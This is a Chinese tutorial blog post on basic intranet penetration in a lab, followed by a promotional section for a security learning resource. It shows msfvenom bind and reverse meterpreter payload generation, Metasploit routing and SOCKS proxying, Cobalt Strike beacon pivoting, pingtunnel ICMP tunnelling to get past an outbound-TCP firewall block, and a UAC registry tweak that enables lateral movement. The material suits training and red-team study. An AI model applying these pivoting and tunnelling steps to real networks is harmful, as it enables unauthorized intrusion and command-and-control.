一篇关于内网渗透基础的知识分享（非常详细）从零基础到精通，收藏这篇就够了！

大纲

一、网络情况

网络情况就是在我们对内网主机渗透时候，可能遇到的通信问题以及解决方法。

1、网络设备链接问题导致不能出网

场景(后续操作也是这个场景下的)：

当拿下一台外网的A主机后，想要对于其所在的内网继续渗透时，发现其他处于内网的BCD主机不能直接出网，只能连接到同一局域网的A主机，而我们又不倾向于直接在A主机上去对BCD主机进行渗透(如果拿下一台主机就把工具等等传到被控主机上，会产生很多不必要的问题)，所以需要将BCD主机的流量以A主机作为跳板机再传给我们的攻击机，也就是搭建代理。

解决方案：MSF通信以及搭建代理

1.1>首先我们已经拿到ws2012权限，需要与ws2016进行通信

1.2>添加路由，告诉MSF要达到的网段与会话的对应关系，可以手动也可以自动添加

1.2.1>手动增删查

#添加路由不写子网掩码默认为255.255.255.0

run autoroute -p #查看路由表

1.2.2>自动添加路由

run post/multi/manage/autoroute

1.3>生成正向后门上传至ws2016并运行

为什么要生成正向后门？

因为对于当前ws2016不出网的情况下，我们以ws2012作为跳板机去主动连接ws2016要更加便捷。

msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=2222 -f > bindshell.exe

1.4>将ws2012会话切换后台，设置监听选项并连接ws2016

后续ws2016到win10等等也是同理。

上线->添加路由->上传正向后门->连接

开启socks代理

MSF固然可以与内网主机通信，但是仅限MSF自己，如果我们想要用其他工具的话就无法通信了，所以我们还要在攻击机(192.168.245.129)上开启socks代理，再用代理工具连接。注意开启的代理端口是在MSF机器上面的，这台机器接收到流量后由MSF将流量转发给内网，所以代理软件应该填写攻击机的IP以及端口。

use auxiliary/server/socks_proxy

1.1>配置并运行代理模块

该模块运行后会自动切换至后台运行，可使用jobs相关命令查看以及删除

jobs #查看后台任务

1.2>使用代理工具转发本机流量通过MSF给内网ws2016

利用工具Proxifier

(Proxifier支持Windows,Linux使用ProxyChains)

下载地址

https://www.proxifier.com/

配置代理工具

通过代理访问ws2016web服务

通过代理，使得不在内网主机访问到了不出网主机的web服务。

解决方案：CS操作

CS同样，也是先拿下了ws2012。

1.1>设置监听器

Payload选择Beacon Tcp，并设置待会要连接的端口

1.2>生成后门

1.3>运行后门开启监听并输入命令进行主动连接

//CS不需要配置路由

选择ws2012会话的命令行输入

connect 目标主机ip 端口

成功上线

其他的大致相同，用正向生成运行，但是要在相邻会话连接，比如ws2012连接ws2016就在ws2012会话输入connect ws2016IP Port，ws2016连接win10那就在ws2016的会话输入connect win10IP Port

CS开启socks代理

右键会话->代理转发->socks代理

配置端口和版本

代理连接同MSF，直接用代理工具连接即可

2、防火墙等网络协议限制导致不能出网

其实这个防火墙限制绕过和waf绕过之类的差不多，如果防火墙入站严格，那就反向上线，出站严格就正向上线，如果有协议限制，那就搭建隧道替换协议上线。

场景：

木马所用TCP协议被防火墙等配置所阻止,导致木马无法与攻击机进行通信

目标机器：Win10 192.168.245.130

攻击机：Kali 192.168.245.129

Win10防火墙设置禁止tcp出站，可以ping百度但无法访问(ping命令基于 icmp，而http是基于tcp的)，此时木马是无法直接上线的。

防火墙设置

解决方案：隧道工具搭建

将数据传输所用的协议转换为没有被封禁的协议(例如本次的ICMP协议)，再从目标机器出来发送给攻击机，也就是隧道技术。

大概流程图:

https://github.com/esrrhs/pingtunnel

该工具为CS架构，需要在攻击机与目标机器上都进行部署，将客户端流量转发给服务端

MSF操作

1.1>生成木马并上传至目标机器

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > shell.exe

注意LHOST=127.0.0.1 LPORT=3333设置的地址是让木马在目标机器上先走隧道工具所监听的端口，而非直接出机器被防火墙拦下

1.2>设置监听

use exploit/multi/handler

1.3>启动pingtunnel客户端以及服务端

服务器端(攻击机)

./pingtunnel -type server -nolog 1

-noprint等命令是可选的，不使用的话可以看到一些连接时的信息

1.4>客户端执行命令(目标机器)

pingtunnel.exe -type client -l 127.0.0.1:端口 -s 服务器ip -t 服务器ip:端口 -tcp 1 -noprint 1 -nolog

1.5>运行目标机器上的木马，直接上线

CS操作

1.1>生成两个监听器，分别为127.0.0.1和攻击机ip

127.0.0.1用于生成木马，以便于木马在目标机器执行时流量先走目标机器本地的隧道工具来转换一下协议，而不是直接出站被防火墙拦下

攻击机ip则用来接受隧道工具转换后的tcp协议

1.2>使用127.0.0.1生成木马并上传

1.3>同MSF，两台主机均开启pingtunnel

1.4>直接执行木马，上线

二、权限问题

一般情况下横向移动，是可以用域管理员组内用户(Domain Admins组)、域内普通用户加入本地管理员组(Administrators组)、以及仅本地的Administrator用户(不包括Administrators组内其他本地成员)来进行的，而仅本地的管理员组是不可以的，而其原因则是UAC远程限制。

参考官方文章，修改注册表，即可使仅本地Administrators组内用户可以进行横向移动。

https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

值为0时(默认)

值为1时

而本地Administrator默认可以横向移动则是因为该设置

启用时，无法执行命令

禁用时(默认)，可以执行命令。

学习资源

如果你是也准备转行学习网络安全（黑客）或者正在学习，这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品，旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力，熟练掌握基础攻防到深度对抗。

1、知识库价值

深度：本知识库超越常规工具手册，深入剖析攻击技术的底层原理与高级防御策略，并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等，提供了独到的技术视角和实战验证过的对抗方案。

广度：面向企业安全建设的核心场景（渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营），本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点，是应对复杂攻防挑战的实用指南。

实战性：知识库内容源于真实攻防对抗和大型演练实践，通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式，既夯实基础技能，更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式，既夯实基础技能，更深入高阶对抗技术。

内容组织紧密结合攻防场景，辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合，是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

‌一、基础适配人群‌

‌零基础转型者‌：适合计算机零基础但愿意系统学习的人群，资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌；
‌开发/运维人员‌：具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能，实现职业方向拓展‌或者转行就业；
‌应届毕业生‌：计算机相关专业学生可通过资料构建完整的网络安全知识体系，缩短企业用人适应期‌；

‌二、能力提升适配‌

1、‌技术爱好者‌：适合对攻防技术有强烈兴趣，希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌；

2、安全从业者‌：帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌；

3、‌合规需求者‌：包含等保规范、安全策略制定等内容，适合需要应对合规审计的企业人员‌；

因篇幅有限，仅展示部分资料，完整版的网络安全学习资料已经上传CSDN，朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】